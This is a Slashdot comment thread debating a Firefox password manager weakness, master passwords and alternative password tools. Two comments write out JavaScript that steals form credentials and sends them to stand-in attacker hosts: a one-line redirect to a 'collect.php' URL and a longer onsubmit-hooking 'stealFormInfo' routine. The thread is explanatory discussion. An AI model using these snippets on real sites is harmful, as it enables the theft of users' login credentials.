      Opera can encrypt the passwords with a key that's compiled in the program itself. It's hard to do that in an open source application, as anyone can just find the key in the source code of the program. You just have to pray nobody figures out Opera's key by decompiling it or brute-forcing it. Having a master password is safer, and it's similar in how keychains work in GNOME,KDE and OS X.

    13. Re:Firefox password manager by mhall119 · · Score: 3, Informative

      Last--FF needs a master password set to be even remotely secure with regard to passwords, while Opera does not. This seems like a big hole. If Opera has encrypted your passwords, then it must have a copy of the decryption key stored somewhere in order to read them. It would seem that your program's author just didn't know where the key way, or it would have been able to read the Opera passwords too. Someone can correct me on this if I'm wrong (not a big Opera user), but to me it sounds like security through obscurity.
      --
      http://www.mhall119.com
    14. Re:Firefox password manager by doxology · · Score: 1

      Yeah, it's probably md5 or something, but that doesn't matter because you only need a one-way hash for a local app.

      --
      sigfault. core dumped.
    15. Re:Firefox password manager by Derek+Pomery · · Score: 1

      You just don't get it do you, as other people noted, your information is NOT secure unless a master password is set.
      All other options are simply obfuscation. Unless there is a piece of information you add to the mix, all the "ingredients" to reverse it are sitting right there on your HD.
      Your rambling commentary above boils down to simply:
      Opera obfuscates passwords by default.
      Firefox obfuscates passwords by default.

      The only difference is your program you used reversed Firefox's. Again, since you did not set a master password
      in Opera that means that the guy who wrote the program didn't bother to deobfuscate Opera passwords. Big deal.

      --
      -- perl -e'print pack"H*","6e656d6f406d38792e6f7267"' /. ate my old sig. Bastards.
    16. Re:Firefox password manager by wile_e_wonka · · Score: 1

      You just don't get it, do you? Why didn't the author of this program succeed in deobfuscating my passwords in Opera?

      Three reasons:

      1) It closed source, and therefore more difficult to figure out how to get at the passwords

      2) The password file is much more heavily obfuscated

      3) There aren't as many Opera users out there, and therefore it is less economical to spend time to properly figure out how to get at the passwords (I repeat, the program does attempt to get at Opera's passwords, it merely fails to succeed)

      What this boils down to--exactly what I said in my original post. I feel more comfortable using Opera because it is less likely that my passwords will be stolen despite the fact that I don't use a master password (there's the whole convenience vs. security thing).

      You're just being overprotective of FF. Face it--no matter the reason, it's easier to steal FF passwords than Opera's. Instead of being protective of a fault, acknowledge the fact and fix the problem. That's the purpose of these discussion boards.
    17. Re:Firefox password manager by Derek+Pomery · · Score: 1

      Nonsense.
      Obfuscation is not secure. Period.
      The closed source thing is ridiculous, if anyone really cared and had any monetary incentive (and with passwords there surely is) they could easily deobfuscate, closed source or not.
      Security through obscurity is never the answer.
      The smaller user base *is* legitimate, and a good argument for a browser ecology, but it is not an endorsement of any advantage to Opera's password management.
      You should ALWAYS assume passwords that are not encrypted are essentially in the clear for anyone with eventual access to that file to someday read.

      And set a bloody master password already. On both your browsers.
      I'm certainly glad I did, since I lost my USB flash drive - at least I know anyone who picked it up would have no access to any private info.

      --
      -- perl -e'print pack"H*","6e656d6f406d38792e6f7267"' /. ate my old sig. Bastards.
    18. Re:Firefox password manager by chgros · · Score: 1

      acknowledge the fact and fix the problem
      Fix what problem?
      If Firefox can get to your passwords (without your input), then so can any other program (that has the same priviledges). There's nothing that can be done about it.

    19. Re:Firefox password manager by wile_e_wonka · · Score: 1

      There's nothing that can be done about it. Is that right or is this a lack of creativity on your part? Yours is the type of thinking that thwarts innovation.
    20. Re:Firefox password manager by chgros · · Score: 1

      Is that right or is this a lack of creativity on your part?
      It's right. No matter how creative you want to be, there's nothing that can be done.
      Worst case, modify Firefox itself (the source is available) so that it spits out plaintext passwords. In practice you can just as easily (and more conveniently) rip out the de-obfuscation code.

    21. Re:Firefox password manager by suv4x4 · · Score: 1

      It would seem that your program's author just didn't know where the key way, or it would have been able to read the Opera passwords too. Someone can correct me on this if I'm wrong (not a big Opera user), but to me it sounds like security through obscurity.

      You can store a SHA-1 (say) hash of the password. Then you can check if a pass is correct, but can't obtain a password having the hash (without a brute force attack that'll take quite some long time, and you should notice your CPU going at 100% for days).

      The actual passwords can then be encrypted using the real password as a salt, and few tricks would prevent the password store being an easy brute force attack as well (such as not storing the same header on all machines which would reveal the password).

    22. Re:Firefox password manager by lanzz · · Score: 1

      no, you can't actually do this. opera needs to have the plain text passwords in order to fill them into login forms. if you do not have a master password set, then opera must have all the necessary data to decrypt the stored passwords to plain text. if opera has all the necessary data, then a program running on the same machine will be able to extract that data from opera itself and use it to decrypt its stored passwords in the same manner that opera does when it needs them. without an external key (the master password), any program would be eventually able to do the same things that opera can do with its passwords.

    23. Re:Firefox password manager by suv4x4 · · Score: 1

      dude when I was talking about the hash and the salt, I'm talking about the master password. the idea is, you don't store the master password anywhere on the disk.

  10. Re:Lies, damned lies by janrinok · · Score: 1

    Firefox having a vulnerability in the password manager does not make IE6 and IE7 'more secure' browsers. If it did, then this site (http://www.sans.org/top20/) would not be worth reading....

    --
    Have a look at soylentnews.org for a different view
  11. Re:Lies, damned lies by Anonymous Coward · · Score: 2, Informative

    IE is not affected because it doesn't automatically enter the info into the forms on load.

  12. Password Managers and Simple Passwords by andrewd18 · · Score: 5, Insightful

    On the other hand it is doubtful that by not using a password manager security levels would be raised, since the resultant need to remember passwords often induces users to choose simplistic passwords and use them on multiple sites.
    Don't tell me that the presence of an in-browser password manager has anything to do with the strength of the password. The only thing stopping people from using simplistic passwords is the quality of the IT department's restrictions. I bet every salesperson in my office would use "gocubsgo" as their password if our IT department didn't demand at least one capital letter and a number. As such, their passwords are now "goCubsgo2007".

    Don't tell me that an in-browser password manager stops people from using the same password everywhere. The average person sees "password" and a single phrase comes to mind. "Oh, my password is '12345'", they say to themselves, and enter that. They don't sit there and think, "Oh, I should keep my bank account password separate from my MySpace password."

    Those two issues aside, people always use password managers of some kind or another. The difference is whether or not they are vulnerable to an attack. I happen to manage my passwords by memorizing them, whereas my father keeps his monitor covered in sticky notes. My password manager is more secure against people sitting at my desk, while his is more secure against old age, and both of them are safe from internet crackers.

    I don't think there's much we can do about increasing people's password security other than increasing awareness and forcing better password standards.
    1. Re:Password Managers and Simple Passwords by Otter · · Score: 2, Insightful
      Don't tell me that the presence of an in-browser password manager has anything to do with the strength of the password....Don't tell me that an in-browser password manager stops people from using the same password everywhere.

      You're right. The real advantage of the password manager is that it's the only reasonable alternative to writing down all of those unique, complex, constantly changing passwords.

    2. Re:Password Managers and Simple Passwords by joeljkp · · Score: 1

      That's the fundamental flaw with passwords: people have to either remember them or store them somewhere, which leads to weak, easy-to-remember passwords or insecure storage systems.

      When's biometric security coming for the web? Scan my fingerprint to log into Slashdot?

      --
      WeRelate.org - wiki-based genealogy
    3. Re:Password Managers and Simple Passwords by Beryllium+Sphere(tm) · · Score: 1

      >Don't tell me that an in-browser password manager stops people from using the same password everywhere.

      That depends on the password manager. Firefox's password manager doesn't automatically create different passwords per site, but the pwdhash extension does. It hashes the site name with a master password to create a strong and site-specific password. There are several extensions that do this but pwdhash is my favorite.

    4. Re:Password Managers and Simple Passwords by klenwell · · Score: 1

      I don't know how reasonable this is as an alternative (it won't work for most LAN/desktop situations), but this is what I use for logins to internet sites that aren't a high security concern for me:

      http://mushpup.org/

      I rolled this myself and it runw all client-side with javascript (both the cause and solution to all life's problems?). If you were concerned about the security of a third-party site (as you should be -- though this is safe) you could roll your own pretty easily and stick it on your own public site.

      It's handy because I can just add a reminder to the profile page that most sites offer. And it makes my password for the site easily available where I have an internet connection. (Though it does require visiting the mushpup site and entering the info there and then pasting it back to site I want to log into.)

      My slashdot password: m{this.domain/this.user}

      --
      Innovation makes enemies of all those who prospered under the old regime... -- Machiavelli
    5. Re:Password Managers and Simple Passwords by someone300 · · Score: 1

      One of the worst problems in my personal experience, worse than phishing, is people sharing passwords between all the untrusted/trusted websites they frequent AND their email; when they sign up to an 'evil' site, it stores their email and password and uses it to access all their stuff.

      What'd be nice if Firefox would automatically enter a very complicated random unique password into password signup form, save it, and automatically enter it into relevant password entry boxes. The user wouldn't even need to think about it - they'd just need to remember their master password. This could then be carried around on a USB pen.

      Obviously, there are security implications and problems with this, but it's nice as a simple idea - the implementation details could be worked out later. Web developers should be careful to ensure that the pages they develop are architected in a standard way with regards to security architecture, such that firefox knows what forms it should fill, and what forms are in an untrusted (e.g. user generated content) subdirectory. Something like a robots.txt.... like domain/login_forms.xml which contains the URIs that have trusted login forms and their XPATH.

      Just an idea; I'm sure there are flaws...

  13. Alternatives by Anonymous Coward · · Score: 0

    Use something like PasswordSafe (http://passwordsafe.sourceforge.net/) to store your passwords.

  14. KeePass by Juneau · · Score: 2, Informative

    Use KeePass http://keepass.info/. Open source, and better automation with websites and much more control than the internal password manager.

  15. OpenID by shmert · · Score: 1

    Sounds like the exploit relies on auto-enter password fields for a domain, and then using javascript to transmit the value of thte password field to the attacker's machine. So, not so much a coding error as a flaw in the thinking that any password field on a site should be auto-filled in. Requiring some action on the part of the user would help with this, but a better solution would be to move to openID.

    --
    You drank my drink, you drunk!
  16. Safari?? by Pope+Raymond+Lama · · Score: 1

    Can someone confirm if Safari is actually vulnerable, or if it is just that the author thinks that "all open source browsers are just the same"?

    I tried it with Konqueror and default KDE 3.5 password saving tecnhology, and no password leaked this way. I wonder if Safari would have problems there.

    --
    -><- no .sig is good sig.
    1. Re:Safari?? by r3dx0r · · Score: 1

      i just tested the latest nightly build of safari 3 for windows and it is vulnerable.

    2. Re:Safari?? by JeremyBanks · · Score: 1

      I tested it on Safari 2.0.4 for Mac and it didn't work.

    3. Re:Safari?? by Rosyna · · Score: 1

      Can someone confirm if Safari is actually vulnerable, or if it is just that the author thinks that "all open source browsers are just the same"? It only works if form autofill is turned on for usernames and passwords. I have all of autofill turned off (because it's a huge privacy risk in my mind, for accidental forms when I am not paying attention) and the tests don't work. Form autofill for usernames and passwords can be disabled separately from other autofill in safari.
  17. Master Password? by Anonymous Coward · · Score: 1, Interesting

    I wonder why they didn't mention the "Master Password" feature of the password manager. Every time the password manager activates, it prompts you to type in a single master password. This should be effective in preventing any password harvesting, save for any other bugs that the manager might have.

  18. My Password Manager is My Brain by organgtool · · Score: 1

    It's things like this that force me to disable Password Manager altogether. If only one security hole exists in Password Manager, someone would be able to grab passwords to my bank account, credit card, e-mail, and more. It's a lot harder for the hackers to get the passwords when the only place they are stored is in my head.

    With that said, I must admit that I am having more trouble remembering all of my passwords since I acquire more accounts and each account has different password requirements. I wish there would be an official standard for secure passwords so that I could reliably use one password for most of my accounts. Of course, that would also be a security risk because if someone got that password, they would have access to most of my accounts, but that's a separate issue.

    1. Re:My Password Manager is My Brain by kebes · · Score: 1

      It's things like this that force me to disable Password Manager altogether. ... With that said, I must admit that I am having more trouble remembering all of my passwords since I acquire more accounts and each account has different password requirements.
      Well my solution is to be selective about what passwords get saved. Low-priority things like slashdot and forum logins are fine for password managers. However I memorize, never write down, and never save passwords for financial sites. This keeps the number of "must-be-memorized" passwords down to a manageable level.

      Password managers are not an "all-or-nothing" tool. Use them where they make sense.
    2. Re:My Password Manager is My Brain by ijustam · · Score: 1

      I too have disabled the password manager. I set Firefox to forget everything I entered into a form when I exit after I found my social security number sitting inside the programs files.

  19. It's already been done by morgan_greywolf · · Score: 1

    It's already been done, and the result is open source: KeePass. Unlike other password managers, KeePass stores passwords in a cryptographically-safe database. Passwords are never entered automatically -- you can double click the KeePass password field to copy the password to the clipboard for 10 seconds, and then paste it into Web page's password field. After 10 seconds, the password is automatically removed from the clipboard. Works for more than web pages, too.

    1. Re:It's already been done by Anonymous Coward · · Score: 0

      Oh holy shit on a stick. I desperately wanted to believe that this was fake. Desperately. Not even RMS could come up with a name this awful, I told myself. But curiosity got the better of me, and I googled it, and it's for real. Keepass. Keep ass. You aren't fooling anybody with that capitalized P. Keepass. Ass. Asskeep. Is your ass getting out of control? You need Keepass! Keepass is a completely automated solution that will proactively manage your ass for you, leaving you free to get on with your busy day! Order now and get two extra Keepass refill packs, absolutely free!

    2. Re:It's already been done by morgan_greywolf · · Score: 1

      Don't look at me! I didn't come up with the name, nor did I have any part in developing it. I just use it.

  20. Password Safe by boris111 · · Score: 1

    Password Safe is good for me.

    I don't know how easily crackable it is, but at least it's not linked directly to the Internet like a browser.

  21. Use the Secure Login FF Extension by EMR · · Score: 3, Informative

    By using this extension, the security whole is fixed. Just have to wait around for FF to implement it natively.
    This extension provides a *wand* like Opera has. (which is not affected by this security hole, because of this functionality).

    https://addons.mozilla.org/en-US/firefox/addon/442 9

    1. Re:Use the Secure Login FF Extension by CopaceticOpus · · Score: 1

      I also suggest using Password Maker to generate unique passwords for you. I don't even know the passwords to the websites I visit any more, I simply have them generated from one core password.

      You could use this extension by itself or combine it with the Secure Login extension.

      http://passwordmaker.org/

  22. Re:Lies, damned lies by discord5 · · Score: 3, Informative

    I call bullshit. If the "real problem might not be Firefox password manager", then why IE6 and IE7 password managers are not vulnerable?

    Actually, the IE6 and IE7 password managers will most likely equally vulnerable. If you do a little looking at the code, all they really do is just scoop the login and pass from the input fields. Mozilla fills it in by default if only one login is available. I don't know exactly what IE does in this case, but I'm guessing that even if IE doesn't fill out the password right away, you can still add an extra onSubmit to the form and do your thing.

    From the MSDN website I can quote:

    When the AutoComplete feature is set to save passwords, a password is automatically filled in when a known user name is provided, and the password and user name are stored by URL. When changing passwords, the user is prompted to save the new password.

    So as far as I can tell, you just need to enter a username and be on the correct URL. If by URL they mean "exactly the same page" this won't work unless you can trick the browser somehow, but if it is "the same (sub)domain" it will. Since I don't have an IE at my disposal right now, I can't test it, but I suppose it will work when you use onSubmit.

    document.location="http://some.hackers.url/collect .php?user=" + document.form.user.value + "&pass=" + document.form.pass.value;

    Then redirect to the login page hoping that the site doesn't check referrers (most likely they don't), and you're set to go. Sites that allow users to enter HTML and especially javascript are begging for this sort of thing, and there are much worse things you can do once someone gives you free play with javascript anyway (cookies anyone?)

    Just stating the obvious, although now I'm actually curious if this works on IE...

  23. Re:Lies, damned lies by FLEB · · Score: 2, Interesting

    It's not even really a browser security issue. Okay, I suppose there could be user-interaction requirements so the form-filler doesn't *automatically* autofill on page load, but the real issue is site-owners who ignore the basic principles of site security and password handling, and open their users up to simple exploits.

    The central concept in much of web-client security assumes that a domain is a single entity, and if you trust the domain, you trust the domain entirely. I don't see fault in this assumption-- a line has to be drawn somewhere as to what "one entity" is, and to split it much further would lead to unnecessary hoops and inconveniences. Back in the NetSol-monopoly days before cheap domain names, this point may have been debatable, but at that time there was far less personal information getting passed around by clients, as well.

    Nowadays, anyone who is running a service with open access and open-ended "userpages" should be taking the bare-minimum step of sub-domaining their users' pages, and sub-domaining their own login forms as well. It costs nothing, it's more convenient for users, and it sandboxes everyone from each others' potential hack-attacks. If an exploit that gets around that, then people can talk, as that'd be a legitimate XSS or trojan/spoofing exploit. This stuff, though, is pinning exploits borne of shoddy web-side security onto the client developers.

    --
    Information wants to be free.
    Entertainment wants to be paid.
    You just want to be cheap.
  24. Secure Login extension by David_W · · Score: 3, Informative

    Do not use a pull model but a push model like the bugmenot extension.

    You know, that's not a bad idea. Apparently someone else had it too. Check out the Secure Login extension. It doesn't use a right click (although I kinda wish it did; may have to suggest that) but it does have a shortcut key and an icon.

    Thanks for saying that; I would have never thought to go looking for such an extension without you saying it.

    1. Re:Secure Login extension by Arthur+B. · · Score: 1

      The nice thing with a contextual menu is that it could provide you with the list of all possible login you have for this website.

      --
      \u262D = \u5350
  25. Challenge/Response by oldmacdonald · · Score: 3, Insightful

    The "right" solution is to have a challenge/response protocol where your secret key is never sent out of your computer at all. The current password situation is a huge mess since you need a different password for every site or risk one compromised trusted site giving away your password to everything. Most users, even when using a password manager, aren't going to have unique passwords for every site, let alone strong ones. It wouldn't surprise me at all if such a protocol already exists in the HTML standard. It certainly should.

    The downsides to this solution? 1) You need to have a browser that supports the protocol (no browsing in telnet). 2) You need to carry around your keys if you want to use them on more than one computer. 3) You need to explain it to users (but hopefully it can be almost transparent). I'm sure there are other problems but the current situation is untenable.

  26. The solution is simple by Anonymous Coward · · Score: 0

    This exploit exists for the simple reason that the program which has access to the stored passwords is also the same program that's rendering html and processing javascript and interpreting css and everything else.

    Simply store your passwords in a separate program. E.g., Password Gorilla (http://fpx.de/fp/Software/Gorilla/). Then it is a simple matter to use the clipboard to copy the user id's/passwords over to the browser login forms (Password Gorilla makes this a simple right-click operation).

    Then disable the browser integrated password manager. If the browser stores no passwords, it can not leak passwords.

    Another advantage is that Password Gorilla also includes a strong password generator, so you can generate very good passwords (and use different ones for different sites) and thereby increase your security.

    It also runs on both Win and Linux, from the same data files.

    It also includes a "merge" functionality so you can keep changes synced between different files (desktop/laptop, etc.).

  27. My Solution by fast+turtle · · Score: 2, Interesting

    While I do use the PW Manager in Firefox, I have never allowed it to retain any critical pw's with those defined as any site where I enter financial or shipping information. For those sites, I use a dedicated PW Manager that allows me to generate more secure passwords using all available characters including special characters.

    In the rare case that a website does not accept/allow special characters to be used for passwords, I tend to re-evaluate their value to me. I also notify both the webmaster and customer service that they've reduced the value of their business to me by not accepting secure passwords and that I will no longer deal with them except by a cash-n-carry basis. A few of them have responded positively and after some effort have increased their password security by allowing special characters and thus they've gained an increased level of business from me along with the positive word of mouth advertising to my friends and associates.

    --
    Mod me up/Mod me down: I wont frown as I've no crown
  28. Re:Lies, damned lies by drinkypoo · · Score: 1

    I know it will hurt all the fanboys, but the less secure browsers are: Firefox, Mozilla, Safari.

    Uh, how does the existence of a specific exploit in Firefox make it a less secure browser than IE?

    History disagrees with you.

    If you can provide some hard evidence that IE is more secure than Firefox, we would all be interested in seeing it.

    But we won't be holding our breath, either, for two reasons: one, there is no such evidence; two, you would probably not be capable of providing it even if it existed.

    --
    "You're right," Fisheye says. "I should have set it on 'whip' or 'chop.'"
  29. Fanboi Fix. by Frankie70 · · Score: 1

    Who found the bug? Can we commision a hit on him?

    Ok, I take that back. Forgot this is Firefox, not Safari.

  30. Maybe I'm doing something wrong (or right...) by Vokkyt · · Score: 1

    But I can't seem to get the Browser Check to pull passwords on Safari 2.0 or Mac/Win Firefox with all three using password manager. Is there a specific way that the password manager/auto-fill needs to be set up in order to pull the data?

    IE, is this more FUD-ey stuff that is very situational than practical?

  31. Hm.. by Zekasu · · Score: 1

    The vulnerability only stems from the fact that Firefox puts the passwords into the box.

    There is no workaround for this.

    So, if you're that worried about your passwords being stolen, don't use the password manager. If you're worried about burgulars, close your window and add some bars. Better yet, get rid fo the window all together.

  32. Re:Lies, damned lies by FiveStarGeneralChaos · · Score: 1
    Did anyone bother to read the details of this vulnerability?

    But this means, that a second, evil page on the same server could steal those saved passwords.

    In this case the server has already been compromised to some degree... and the only password in jeopardy is one to the very server you are connected to....
    That's like saying a local restaurant is not a safe place to use a credit card.... because the staff might see my credit card number or they might be robbed and have my signature slip stolen...

    BTW: Have any IE users actually tested to see that IE doesn't have the same "vulnerability"?
  33. Kwallet by LuSiDe · · Score: 1

    From the Kwallet handbook (a KDE utility; GNOME has equiv.): The wallet subsytem provides a convenient and secure way to manage all your passwords. I'm not sure if this can be done automatically (integrated in browser) but manually, using a master key/password, it is a good way to store passwords for those with Alzheimer or other memory trouble. One could even use GPG/PGP or TrueCrypt (or LUKS/GELI etcetera) as 'wallet'. As long as you can remember/have the master key its more secure and reliable than (sticky) papers, or a plethora of passwords to remember, or using the same password for various purposes. Just make sure you have this data backed up.

    --
    WE DON'T NEED NO BLOG CONTROL.
    1. Re:Kwallet by AaronW · · Score: 1

      I also find this useful. That way I can choose a different password for each site that requires them and can generate some pretty random passwords like D7fgy#h0xl for example. At least with kwallet, the passwords are all encrypted.

      Out of curiosity I ran the password stealing test (as well as all of the other Javascript tests) with Konqueror and they all passed with no information leaked.

      One nice thing is Kwallet is outside of the browser with access control to various applications. This means that when Konqueror wants to get a password, it sends a request to the kwallet app, which then can display a password dialog for the master password before responding to Konqueror.

      --
      This post is encrypted twice with ROT-13. Documenting or attempting to crack this encryption is illegal.
  34. which sites are affected? by psyced · · Score: 1

    does anyone have a list of sites which are likely to let third parties insert js code?

    would myspace, popular for being visually "hackable", or facebook be affected?
    facebook in particular lets you add 3rd party extensions to your profile. would
    those extensions be able to add appropriate js code to extract your facebook
    password from your firefox password manager?

  35. Re:Lies, damned lies by Anonymous Coward · · Score: 1, Insightful

    What does Window Snyder have to say now? How many times have we shown you the exploits (and demonstrated fully) and got shot down for it? Well, now that the real exploits are gaining attention (thanks to some clever tactics), we'll see her reaction later. Her constant smartass remarks, and devs hiding certain bug exploits and fixes from the ones that found them in order to save face is just making Mozilla look worse and worse. When you have to rely on third party software to keep Firefox safe now, well, it's starting to sound more like IE now, huh? Please, lets save Mozilla by ridiculing the people in it causing the problems and not allowing change to happen instead of piling bloat over bloat (It's pretty bad when you have such horrible memory leaks in Firefox now).

    I am not a Microsoft shill, I support fixing Firefox but the masters don't care.

  36. Not a Password Manager issue at all by Anonymous Coward · · Score: 0

    Ok, I just RTFA (odd for an Anonymous Coward, I know) but the issue here is not with Password Manager at all. It has to do with community portals allowing people to spoof login pages. It's basic phishing 1.0. Yes, a script could be "injected" to secretly read and report back the issues. But this isn't new to Firefox. The problem is "community sites" that let *ANY MORON CREATE CONTENT* without putting proper safeguards in to stop this kind of abuse. It's not the browser's problem that site admins are too stupid to stop this crap. Any site stupid enough to let me inject scripts into a page gets what they deserve. Hell, I could write a script that works with any JavaScript enabled browser back to Netscape 3.0 to do this. Hell, I can grab any form information if I really want.

    In fact, here you go: //written on the fly with no testing.

    function stealFormInfo() { //because vbscript is the most evil server-side language ever.
          var stolenInfo = 'http://wwww.myevildomain.com/myevilscript.asp';
          a = 0; //grab every form element
          for (elementname in this.elements) { //and add the name value pair to a querystring.
                stolenInfo += (a)?('&amp;'):('?');
                stolenInfo += elementname + '=' + urlencode(this.elements[elementname].value);
                a++;
          } //fire away
          var sendMe = new Image();
          sendMe.src = stolenInfo; //and return the default onsubmit result (if any)
          return this.oldonsubmit();
    }

    function doNonthing() { //dummy function.
        return true;
    }

    if (document.onload) { //hold onto any previously set onload method
        document.oldonload = document.onload;
    }
    else { //use dummy function instead
        document.oldonload = doNothing;
    } //set my own document onload script to set up my form stealing.
    document.onload = function setTrap() { //find any forms on the page.
        for (formname in document.forms) {
              if (document.forms[formname].onsubmit) { //hold on to any form's previously set onsubmit method
                  document.forms[formname].oldonsubmit = document.forms[formname].onsubmit;
            }
            else { //or use the dummy function
                document.forms[formname].onsubmit = doNothing;
            } //set my own onsubmit method.
            document.forms[formname].onsubmit = stealFormInfo;
        } //fire the previously set onload function (if any);
        document.oldonload();
    }

  37. Don't trust embedded Javascript? by Ythan · · Score: 1

    Why not place security restrictions on embedded Javascript? Any website developer worth his or her salt already puts all Javascript in external files. Don't allow embedded Javascript to read password fields or cookies and you make an attacker's job much more difficult. Or so it would seem to me, anyway.

  38. Password Maker plug contained within by Glytch · · Score: 1

    I'd like to plug Password Maker. It's under the LGPL license. It creates a per-site password using the site's domain name and a passphrase of your choosing as seeds. All the advantages of a password manager, strong passwords, and different passwords for different accounts without actually having to store anything on disk or remembering more than one passphrase. Since by default there's no password stored on disk (and the extension will specifically warn against doing this if you change that setting), there's nothing for password-stealing javascript exploits to get.

    Because of the hash that's used, it doesn't work on sites that require alphanumeric passwords, but any site with that idiotic requirement has serious security issues anyway.

    1. Re:Password Maker plug contained within by Stalks · · Score: 1

      You can edit the characters that are used to create the hash. I use a-zA-Z0-9 as the available characters to produce the password. Its secure enough for my needs.

  39. Excuse me by Anonymous Coward · · Score: 0

    How about the fact that IE still doesn't even have a passwd manager or any protection for your passwords at all.

  40. Do not use password managers by Monsieur_F · · Score: 2, Interesting
    the resultant need to remember passwords often induces users to choose simplistic passwords and use them on multiple sites.

    I rarely use a password manager, because I do not really trust them but also because, just as when using cookies to stay logged on a site, you just do not have to remember your password. This means that when you occasionnally want to log from another computer, for some urgent matter, you cannot find what your password was!

    On the other hand, I generally use the same simplistic password on many sites just because there is no critical information on them. On some game sites, the most important information may be my real name and address if there is some incentive for this (read: prizes to win).

    Strangely, one really critical site (my banking account) uses a not-so-hard password (6 digits), but this is constrained by the bank itself.

    --
    McCartney fans pay bus tickets. [...] Lennon fans too, with discretion.
    1. Re:Do not use password managers by turing_m · · Score: 1

      You may not have anything to hide, but using if you are using the same password on multiple sites its as good an identifier as using the same login.

      --
      If I have seen further it is by stealing the Intellectual Property of giants.
    2. Re:Do not use password managers by Monsieur_F · · Score: 1

      How is it a problem?

      Also, I generally use the same (spam) e-mail address as a contact anyway. (well, I noticed other people use my e-mail address as well to register to some sites). And I connect from the same IP address too.

      --
      McCartney fans pay bus tickets. [...] Lennon fans too, with discretion.
  41. Defending stupidity... by Anonymous Coward · · Score: 0

    Defending stupidity only makes you look stupid.

    If someone can't remember a password, should they really be using a computer? How on earth can anyone function with such a defective brain that they are unable to remember a string of 4-8 characters?

    Do they have to tattoo the names of their wife and kids onto them, like in "Memento"?

    1. Re:Defending stupidity... by iago-vL · · Score: 2, Insightful
      You do realize that a 4-character password is useless, right?

      Ideally, you should have 8 or more characters in every password (12 or more is good, 16 or more is great), they shouldn't be based on English words or names (or anything else familiar), they should contain non-English characters, and so on. Plus, you should have a unique one for every use and site. I don't know about you, but I visit at least 20 - 30 sites with some regularity. So should I really remember hundreds of randomesque characters?

      My point is, you have a choice between sacrificing security one way or the other.

    2. Re:Defending stupidity... by DMUTPeregrine · · Score: 1

      Diceware. Kee-Pass Password safe. etc. There are ways to either remember relatively secure passwords (diceware) or store & use random passwords in a secure manner (kee-pass).

      --
      Not a sentence!
    3. Re:Defending stupidity... by Quikah · · Score: 1

      My problem is that I cannot even use the same password at every site because each one has a different policy. Some allow me to use non-alpa-numeric character others only allow a-z/0-9. so I have about 10 different variations of the same password, but I rarely remember what the sites policy is, so that becomes burdensome. It would be great if every site put there password policy on their login page so I didn't have to go their their registration page again so I could figure out what password I used.

      --
      Q.
  42. Not my problem by LordSnooty · · Score: 1

    Who on Earth uses the password save feature and expects it to be safe anyway... I mean, come on. I keep my password manager on my USB stick, using a program that doesn't communicate with the network. I don't keep them in the program that will also talk to the site I want to log into. Too much danger that info will leak or a way in will be found... well, whaddayaknow.

  43. kwalletmanager by VincenzoRomano · · Score: 1

    Maybe a much better solution. But you need to install Linux or *BSD first.

    --
    Maybe Computers will never be as intelligent as Humans.
    For sure they won't ever become so stupid. [VR-1988]
    1. Re:kwalletmanager by LiquidFire_HK · · Score: 1

      Or just wait a little for KDE 4.

  44. Hackproof system by hoppo · · Score: 1

    I have a hackproof system for password management. It's called a "brain." I remember my passwords, then I retrieve them from memory when I need them.

    1. Re:Hackproof system by Haeleth · · Score: 1

      I have a hackproof system for password management. It's called a "brain." I remember my passwords, then I retrieve them from memory when I need them.
      This has been proven countless times to be highly vulnerable to social engineering attacks, such as targetted phishing. There is also a strong correlation between use of the "brain" system and persistently choosing weak passwords or reusing passwords across multiple sites.

      In other words, it might work very well for you - if you have a good enough memory to store unique strong passwords for every site you use, and if you are so careful that you would never, ever fall for a phishing scam, however carefully crafted it might be to target you specifically. But it's not a general solution, because most mere mortals just can't handle that kind of thing.
  45. Re:Lies, damned lies by g4sy · · Score: 2, Insightful

    Fanboy here. You're right. Got that outta the way

    The problem is not really with the firefox password manager, because

    1. Even if you only automatically entered a password with a push mechanism (right-click to fill in password information) then people would still do that on the "bad" scripts. The problem, like most things, is a problem of social hacking. Education is what is needed... maybe make firefox educational as it's logging into various login pages?

    2. Remember the problem boils down to using your fileserver password for your myspace account: that's what this is talking about. It's not like an attacker can read your whole password manager, it can only get the password for a certain site that they have ALREADY compromised (myspace and facebook are sites that are compromised by design). If you use one password for all those inherently insecure sites, and another one for your email, and another one for your banking then this attack, even if successful, will not hurt you as much as you think it would Oh no! Some script kiddy finally managed to get my facebook password! He might upload pictures... and people would think I have a life.

    --
    somewhere, on a Big Red Sign:
    if(color==blue){speed--;}
  46. Who wants to surf without NoScript? by Anonymous Coward · · Score: 0

    Surf the Internet without NoScript enabled? Aren't you asking to get infected if you do that? I mean, that is like using IE -- walking around in the ghetto with a sign on your head saying "carrying lots of money, I can be easily robbed"...

    That is like having Admin privilege while surfing the Internet... Just asking to get infected..

  47. use IE by Chutulu · · Score: 0

    instead...

  48. Re:Lies, damned lies by fermion · · Score: 1
    The security of a browser still ultimately depends on how you use, and if it allows safe use. For instance, Consumer Reports found certain SUVs to be unsafe in standard use. While companies sued CU, the reality is that SUVs, if not used as people expect them to able to be used, are not safe. I see tipped over SUV every month that proves this point.

    The problem with IE, was, for the longest time, that it did not provide standard protections. It always allowed the remote sever to control the users machines, and that control, though useful, lead to malicious use. The main thing that other browsers did, and plugins for IE, was allows user to limit the control that the remote site could exert on the local machine, thus increasing security. The user can now control everything, even the look and feel, which is problem for sites that require control of the user to generate revenue, but good for the user. For most users, the two major thing the user can't control or still need, the flash plugin and java script, are now arguably the major points of attack.

    So what is the security issue in this case. It is that passwords are stored by the browser, inside the sand box, so to speak. This is bad. Passwords should be stored securely at the system level, available for applications to request, and with the user permission supplied. In other words, application password managers have to go.

    --
    "She's a scientist and a lesbian. She's not going to let it slide." Orphan Black
  49. possible solution by Anonymous Coward · · Score: 0

    This is not a real bug of the Firefox Password Manager, as this security hole even exists if the manager worked exactly as it was intended by the developers.
    A possible solutions would be to block javascript access on the value of any field that has automatically been filled by the password manager. Or, as this may cause the login procedure of some sites to fail, show a security prompt in case a script wants to access these fields.

  50. calling BS - should be classed as phishing by bl8n8r · · Score: 2, Insightful

    "an attacker may emulate the login form "

    This is the same old whore in new shoes. A javascript text entry masquerading as something else. You may as well point in apache's direction for htaccess too then.

    As long as people do not think about what they are doing with their web browser, you will always have this problem. If people would think about web sites the same way they think about crossing a busy street the problem would be solved.

    --
    boycott slashdot February 10th - 17th check out: altSlashdot.org
    1. Re:calling BS - should be classed as phishing by Simetrical · · Score: 1

